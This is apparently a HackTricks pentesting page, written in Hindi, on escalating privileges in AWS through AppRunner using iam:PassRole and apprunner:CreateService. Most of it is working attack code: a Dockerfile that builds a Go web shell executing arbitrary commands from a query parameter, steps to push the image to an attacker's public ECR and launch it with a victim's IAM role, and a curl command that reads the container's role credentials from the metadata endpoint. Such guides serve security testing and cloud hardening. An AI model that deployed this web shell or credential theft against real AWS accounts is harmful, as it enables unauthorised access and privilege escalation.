Files

3.4 KiB

AWS - AppRunner Privesc

{{#include ../../../../banners/hacktricks-training.md}}

AppRunner

iam:PassRole, apprunner:CreateService

इन अनुमतियों वाले एक हमलावर AppRunner service को एक संलग्न IAM role के साथ बना सकता है, और role की credentials तक पहुँच कर संभावित रूप से विशेषाधिकार बढ़ा सकता है।

हमलावर पहले एक Dockerfile बनाता है जो AppRunner container पर किसी भी कमांड को निष्पादित करने के लिए एक web shell के रूप में कार्य करता है।

FROM golang:1.24-bookworm
WORKDIR /app
RUN apt-get update && apt-get install -y ca-certificates curl
RUN cat <<'EOF' > main.go
package main

import (
"fmt"
"net/http"
"os/exec"
)

func main() {
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
command := exec.Command("sh", "-c", r.URL.Query().Get("cmd"))
output, err := command.CombinedOutput()
if err != nil {
fmt.Fprint(w, err.Error(), output)
return
}

fmt.Fprint(w, string(output))
})
http.ListenAndServe("0.0.0.0:3000", nil)
}
EOF
RUN go mod init test && go build -o main .
EXPOSE 3000
CMD ["./main"]

फिर, इस image को एक ECR repository में push करें।

attacker द्वारा नियंत्रित AWS account में public repository पर image को push करने से, privilege escalation संभव है, भले ही victim के account के पास ECR को manipulate करने की permissions न हों।

IMAGE_NAME=public.ecr.aws/<alias>/<namespace>/<repo-name>:latest
docker buildx build --platform linux/amd64 -t $IMAGE_NAME .
aws ecr-public get-login-password | docker login --username AWS --password-stdin public.ecr.aws
docker push $IMAGE_NAME
docker logout public.ecr.aws

इसके बाद, हमलावर उस web shell image और जिस IAM Role का वे शोषण करना चाहते हैं, के साथ कॉन्फ़िगर की गई एक AppRunner service बनाता है।

aws apprunner create-service \
--service-name malicious-service \
--source-configuration '{
"ImageRepository": {
"ImageIdentifier": "public.ecr.aws/<alias>/<namespace>/<repo-name>:latest",
"ImageRepositoryType": "ECR_PUBLIC",
"ImageConfiguration": { "Port": "3000" }
}
}' \
--instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \
--query Service.ServiceUrl

सेवा के निर्माण के पूरा होने तक प्रतीक्षा करने के बाद, web shell का उपयोग करके container credentials प्राप्त करें और AppRunner से जुड़े IAM Role की अनुमतियाँ प्राप्त करें।

curl 'https://<service-url>/?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI'

संभावित प्रभाव: AppRunner services से attached किए जा सकने वाले किसी भी IAM role पर सीधा privilege escalation।

{{#include ../../../../banners/hacktricks-training.md}}